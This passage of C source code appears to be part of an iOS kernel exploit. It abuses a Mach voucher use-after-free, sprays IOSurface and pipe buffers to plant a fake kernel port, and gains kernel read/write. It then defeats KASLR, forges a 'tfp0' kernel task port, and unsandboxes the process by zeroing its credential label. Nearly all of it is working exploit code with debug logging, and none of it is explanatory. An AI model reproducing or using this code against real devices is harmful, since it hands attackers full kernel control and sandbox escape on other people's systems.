        *(volatile voucher_t*)ptr = newVoucher;
        vouchers_in_osstring++;
    }
    
    mach_port_t p2 = MACH_PORT_NULL;
    assure(!(ret = host_create_mach_voucher(mach_host_self(),(mach_voucher_attr_raw_recipe_array_t)&atm_data,sizeof(atm_data),&p2)));
    
    mach_port_t p3 = MACH_PORT_NULL;
    assure(!(ret = host_create_mach_voucher(mach_host_self(),(mach_voucher_attr_raw_recipe_array_t)&atm_data,sizeof(atm_data),&p3)));
    
    mach_port_t p4 = MACH_PORT_NULL;
    assure(!(ret = host_create_mach_voucher(mach_host_self(),(mach_voucher_attr_raw_recipe_array_t)&atm_data,sizeof(atm_data),&p4)));
    
    
    assure(!(ret = thread_set_mach_voucher(mach_thread_self(), p1)));
    assure(!(ret = task_swap_mach_voucher(mach_task_self(), p1, &p2)));
    
    for(size_t i = NUM_GC; i > 0; --i){
        if(MACH_PORT_VALID(gc[i - 1])){
            _kernelrpc_mach_port_destroy_trap(self, gc[i - 1]);
            gc[i - 1] = MACH_PORT_NULL;
        }
    }
    LOG("herp derp");
    usleep(150000);
    
    sched_yield();
    ret = task_swap_mach_voucher(mach_task_self(), p1, &p3);//magic voucher free
    LOG("task_swap_mach_voucher: %s", mach_error_string(ret));
    assure(!ret);
    
    _kernelrpc_mach_port_destroy_trap(self, stuffport);
    
    size_t finalI = 0;
    for(size_t i = 0; i < NUM_GC; ++i){
        uint64_t t0,t1;
        
        t0 = mach_absolute_time();
        ret = host_create_mach_voucher(mach_host_self(),(mach_voucher_attr_raw_recipe_array_t)&atm_data,sizeof(atm_data),&gc[i]);
        t1 = mach_absolute_time();
        doassure(!ret,{
            LOG("mach_port_allocate: %s", mach_error_string(ret));
        });
        if (t1-t0 > 10000) {
            LOG("my_gc breaking at %d with tdiff=%lld",(int)i,t1-t0);
            finalI = i;
            break;
        }
    }
    
#define SPRAY_SIZE 0x4000
    for(uint32_t i = 0; i < SPRAY_SIZE; ++i){
        dict[DATA_PAGE_SIZE / sizeof(uint32_t) + 6] = transpose(i);
        
        uint32_t dummy;
        size = sizeof(dummy);
        ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict, sizeof(dict), &dummy, &size);
        doassure(!ret, {
            LOG("setValue(%u): %s", i, mach_error_string(ret));
        });
    }
    
    //reset GC workaround
    for(size_t i = 0; i <= finalI; i++){
        if(MACH_PORT_VALID(gc[i - 1])){
            _kernelrpc_mach_port_destroy_trap(self, gc[i - 1]);
            gc[i - 1] = MACH_PORT_NULL;
        }
    }
    
    
    for(size_t i = 0; i < NUM_AFTER2; ++i){
        ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &after2[i]);
        doassure(!ret,{
            LOG("mach_port_allocate: %s", mach_error_string(ret));
        });
    }
    
    for(size_t i = 0; i < NUM_BEFORE; ++i){
        ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &before[i]);
        doassure(!ret,{
            LOG("mach_port_allocate: %s", mach_error_string(ret));
        });
    }
    
    //alloc port in voucher
    assure(!(ret = thread_get_mach_voucher(mach_thread_self(), 0, &real_port_to_fake_voucher)));
    
    for(size_t i = 0; i < NUM_AFTER; ++i){
        ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &after[i]);
        doassure(!ret,{
            LOG("mach_port_allocate: %s", mach_error_string(ret));
        });
    }
    
    
    uint32_t request[] = {
        // Same header
        surface.data.id,
        0x0,
        0, // Key
        0x0, // Null terminator
    };
    
    size = sizeof(response);
    
    kptr_t port_address = 0;
    int fake_voucher_idx = 0;
    int fake_voucher_jdx = 0;
    voucher_t targetVoucher = {};
    
    for (int i=0; i<SPRAY_SIZE && !port_address; i++) {
        request[2] = transpose(i);
        assure(!(ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size)));
        
        voucher_t *v = (voucher_t*)&response[4];
        for (int j=0; j<vouchers_in_osstring; j++) {
            if (v[j].iv_port) {
                targetVoucher = v[j];
                port_address = targetVoucher.iv_port;
                fake_voucher_idx = i;
                fake_voucher_jdx = j;
                LOG("port_address=%p",(void*)port_address);
                LOG("fake_voucher_idx=%d",fake_voucher_idx);
                LOG("fake_voucher_jdx=%d",fake_voucher_jdx);
                
                targetVoucher.iv_port &= ~(DATA_PAGE_SIZE-1);
                targetVoucher.iv_port += 0x4000 * 64; //4kPage
                
                LOG("Shifted Port!");
                break;
            }
        }
    }
    assure(port_address);
    
    
    kport_t kport = {
        .ip_bits = 0x80000002, // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
        .ip_references = 100,
        .ip_lock = {
            .type = 0x11,
        },
        .ip_messages = {
            .port = {
                .receiver_name = 1,
                .msgcount = MACH_PORT_QLIMIT_KERNEL,
                .qlimit = MACH_PORT_QLIMIT_KERNEL,
            },
        },
        .ip_srights = 99,
        .ip_kobject = 0x6162636465666768
    };
    
#pragma mark kobj
    kport.ip_kobject = targetVoucher.iv_port + 0x700;
    
    {
        uintptr_t ptr = (uintptr_t)&dict[5];
        ptr += fake_voucher_jdx*sizeof(voucher_t);
        *(volatile voucher_t*)ptr = targetVoucher;
    }
    
    LOG("kport.ip_kobject=%p",(void*)kport.ip_kobject);
    
    {
        uintptr_t ptr = (uintptr_t)pipebuf;
        *(volatile kport_t*)ptr = kport;
        ptr += 0x700;
        *(uint32_t*)(ptr+0x10) = 0x77; //refcnt
        *(uint64_t*)(ptr+OFFSET_TASK_BSD_INFO) = 0x4142434445464748; //read from
    }
    
    for(uint32_t i = 0; i < pipecnt; ++i){
        int wfd = pipefds[2 * i + 1];
        ssize_t written = write(wfd, pipebuf, pagesize);
        if (written != pagesize) {
            // This is most likely because we've run out of pipe buffer memory. None of
            // the subsequent writes will work either.
            
            pipecnt = i; //real sprayed count
            break;
        }
    }
    LOG("sprayed pipecnt=0x%lx",pipecnt);
    
    LOG("targetVoucher->iv_port=%p",(void*)targetVoucher.iv_port);
    
    LOG("final buf realloc :o");
    dict[DATA_PAGE_SIZE / sizeof(uint32_t) + 6] = transpose(fake_voucher_idx);
    ret = reallocate_buf(client, surface.data.id, fake_voucher_idx, dict, sizeof(dict));
    LOG("reallocate_buf: %s", mach_error_string(ret));
    assure(!ret);
    
    //    //dunno why but realloc_buf doesn't seem to properly reallocate the page
    //    for (int i=0; i<SPRAY_SIZE; i++) {
    //        if (i == fake_voucher_idx)
    //            continue;
    //        delete_val(client, surface.data.id, i);
    //    }
    for(uint32_t i = 0; i < 0x10; ++i){
        if (i == fake_voucher_idx) { //don't realloc fake_voucher_idx twice!
            continue;
        }
        dict[DATA_PAGE_SIZE / sizeof(uint32_t) + 6] = transpose(i);
        
        uint32_t dummy;
        size = sizeof(dummy);
        ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict, sizeof(dict), &dummy, &size);
        doassure(!ret, {
            LOG("setValue(%u): %s", i, mach_error_string(ret));
        });
    }
    
    LOG("replacing real_port_to_fake_voucher...");
    sync();//flush pipe writes
    usleep(500);
    mach_port_t old_real_port_to_fake_voucher = real_port_to_fake_voucher;
    //get shifted port
    assure(!(ret = thread_get_mach_voucher(mach_thread_self(), 0, &real_port_to_fake_voucher)));
    
    LOG("old real_port_to_fake_voucher=%d",old_real_port_to_fake_voucher);
    LOG("new real_port_to_fake_voucher=%d",real_port_to_fake_voucher);
    
    doassure(old_real_port_to_fake_voucher != real_port_to_fake_voucher, {
        LOG("Failed to receive fake port");
    });
    
    
    //make this guy special
    assure(!(ret = _kernelrpc_mach_port_insert_right_trap(self, real_port_to_fake_voucher, real_port_to_fake_voucher, MACH_MSG_TYPE_COPY_SEND)));
    
    for(uint32_t i = 0; i < pipecnt; ++i){
        int rfd = pipefds[2 * i];
        ssize_t didread = read(rfd, pipebuf, pagesize);
        assure(didread == pagesize);
        
        kport_t *p = (kport_t *)pipebuf;
        
        if (p->ip_srights != kport.ip_srights) {
            int wfd = pipefds[2 * i + 1];
            gfakeport_idx = i;
            LOG("p->ip_srights=%d",p->ip_srights);
            LOG("gfakeport_idx=%d",gfakeport_idx);
            ssize_t written = write(wfd, pipebuf, pagesize);
            assure(written == pagesize);
        }
    }
    assure(gfakeport_idx!=-1);
    
    
#pragma mark kread
    /***
     ready is my read :D
     ***/
    
    mach_port_t notify = MACH_PORT_NULL;
    //set ip_pdrequest
    for (int i=0; i<NUM_AFTER2; i++) {
        assure(!(ret = mach_port_request_notification(mach_task_self(), after2[i], MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify)));
    }
    
    for (int i=0; i<NUM_BEFORE; i++) {
        assure(!(ret = mach_port_request_notification(mach_task_self(), before[i], MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify)));
    }
    
    for (int i=0; i<NUM_AFTER; i++) {
        assure(!(ret = mach_port_request_notification(mach_task_self(), after[i], MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify)));
    }
    
    
    kptr_t recv_port_address = port_address - sizeof(kport);
    LOG("useport_addr=%p",(void*)recv_port_address);
    
    LOG("Attempting read");
    usleep(500);
    
    kptr_t test = kread64(targetVoucher.iv_port);
    printf("test=%p\n",(void*)test);
    
    kptr_t realport_addr = kread64(recv_port_address + offsetof(kport_t, ip_pdrequest));
    LOG("realport_addr=%p",(void*)realport_addr);
    
    kptr_t itk_space = kread64(realport_addr + offsetof(kport_t, ip_receiver));
    LOG("itk_space=%p",(void*)itk_space);
    
    kptr_t self_task = kread64(itk_space + OFFSET_IPC_SPACE_IS_TASK);
    LOG("self_task=%p",(void*)self_task);
    
    assure(!(ret = mach_ports_register(mach_task_self(), &client, 1)));
    
    kptr_t IOSurfaceRootUserClient_port = kread64(self_task + OFFSET_TASK_ITK_REGISTERED);
    LOG("IOSurfaceRootUserClient_port=%p",(void*)IOSurfaceRootUserClient_port);
    
    kptr_t IOSurfaceRootUserClient_addr = kread64(IOSurfaceRootUserClient_port + offsetof(kport_t, ip_kobject));
    LOG("IOSurfaceRootUserClient_addr=%p",(void*)IOSurfaceRootUserClient_addr);
    
    kptr_t IOSurfaceRootUserClient_vtab = kread64(IOSurfaceRootUserClient_addr);
    LOG("IOSurfaceRootUserClient_vtab=%p",(void*)IOSurfaceRootUserClient_vtab);
    
    kbase = kread64(IOSurfaceRootUserClient_vtab + OFFSET_VTAB_GET_EXTERNAL_TRAP_FOR_INDEX*sizeof(kptr_t));
    kbase = (kbase & ~(KERNEL_SLIDE_STEP - 1)) + KERNEL_HEADER_OFFSET;
    
    for(; kread32(kbase) != KERNEL_MAGIC; kbase -= KERNEL_SLIDE_STEP);
    
    uint64_t slide = kbase-OFFSET_KERNELBASE;
    LOG("Kernel base: %p",(void*)kbase);
    LOG("Kernel Magic: 0x%08x",kread32(kbase));
    LOG("Kernel slide: %p",(void*)slide);
    
    task_addr = self_task;
    uint64_t task_port_addr = find_port(mach_task_self());
    printf("Our task port: 0x%llx\n", task_port_addr);
    
    uint64_t kernel_vm_map = 0;
    uint64_t struct_task = kread64(task_port_addr + offsetof(kport_t, ip_kobject));
    
    while (struct_task != 0) {
        uint64_t bsd_info = kread64(struct_task + OFFSET_TASK_BSD_INFO);
        uint32_t pid = kread32(bsd_info + BSDINFO_PID_OFFSET);
        
        if (pid == 0) {
            kernel_vm_map = kread64(struct_task + OFFSET_TASK_VM_MAP);
            break;
        }
        
        struct_task = kread64(struct_task + OFFSET_TASK_TASKS_PREV);
    }
    
    LOG("Kernel vm_map: 0x%llx", kernel_vm_map);
    
    uint64_t receiver = kread64(task_port_addr + offsetof(kport_t, ip_receiver));
    LOG("Our ip_receiver: 0x%llx", receiver);
    
    ktask_t ktask = {};
    ktask.a.lock.data = 0x0;
    ktask.a.lock.type = 0x22;
    ktask.a.ref_count = 100;
    ktask.a.active = 1;
    ktask.a.map = kernel_vm_map;
    ktask.c.itk_lock_data_lck_mtx_type = 0x22;
    ktask.b.itk_self = 1;
    
    kport.ip_bits = 0x80000002; // IO_BITS_ACTIVE | IKOT_PORT | IKOT_TASK
    kport.ip_references = 0xf00d;
    kport.ip_srights = 0xf00d;
    kport.ip_kobject = targetVoucher.iv_port + 0x100;
    kport.ip_requests = 0;
    kport.ip_context = 0;
    kport.ip_receiver = receiver;
    
    //write to kport
    {
        LOG("Updating port for tfp0...");
        int rfd = pipefds[2 * gfakeport_idx];
        ssize_t didread = read(rfd, pipebuf, pagesize);
        assure(didread == pagesize);
        int wfd = pipefds[2 * gfakeport_idx + 1];
        
        uintptr_t ptr = (uintptr_t)pipebuf;
        *(volatile kport_t*)ptr = kport;
        
        ptr += 0x100;
        *(volatile ktask_t*)ptr = ktask;
        
        ssize_t written = write(wfd, pipebuf, pagesize);
        assure(written == pagesize);
    }
    
    LOG("Did we get tfp0?");
    tfp0 = real_port_to_fake_voucher;
    
    LOG("Attempting kalloc");
    uint64_t address = kalloc(8);
    if (!address) {
        LOG("Failed to kalloc!");
        goto error;
    }
    LOG("Allocated? 0x%llx", address);
    
    LOG("Attempting write");
    kwrite64(address, 0x4141414141414141);
    
    LOG("Read back: 0x%llx", kread64(address));
    if (kread64(address) != 0x4141414141414141) {
        LOG("Found wrong value when reading back!");
        goto error;
    }
    
    kfree(address, 8);
    
    LOG("Building safer tfp0");
    new_tfp0 = build_safe_fake_tfp0(kernel_vm_map, receiver);
    if (!MACH_PORT_VALID(new_tfp0)) {
        LOG("Failed to build new tfp0!");
        goto error;
    }
    
    tfp0 = new_tfp0;
    LOG("Built safer tfp0: %x!", new_tfp0);
    
    LOG("Cleaning up...");
    RELEASE_PORT(real_port_to_fake_voucher);
    
    assure(!(ret = thread_set_mach_voucher(mach_thread_self(), p4)));
    RELEASE_PORT(client);
    
    for (size_t i = 0; i<2*pipecnt; i++) {
        if (pipefds[i] != -1){
            close(pipefds[i]);
        }
    }
    if (pipebuf) {
        assure(!(ret = mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)pipebuf, pagesize)));
        pipebuf = NULL;
    }
    if (pipefds) {
        free(pipefds);
        pipefds = NULL;
    }
    pipecnt = 0;
    
    LOG("Unsandboxing...");
    uint64_t selfproc = kread64(self_task + OFFSET_TASK_BSD_INFO);
    uint64_t ucred = kread64(selfproc + OFFSET_PROC_UCRED);
    uint64_t cr_label = kread64(ucred + 0x78);
    kwrite64(cr_label + 0x10, 0);
    
error:
    if (err) {
        printf("exploit failed!\n");
        printf("error=%d ret=0x%08x s=%s\n",err,ret,mach_error_string(ret));
        return MACH_PORT_NULL;
    }
    
    extern uint64_t KernelBase;
    KernelBase = kbase;
    return new_tfp0;
}

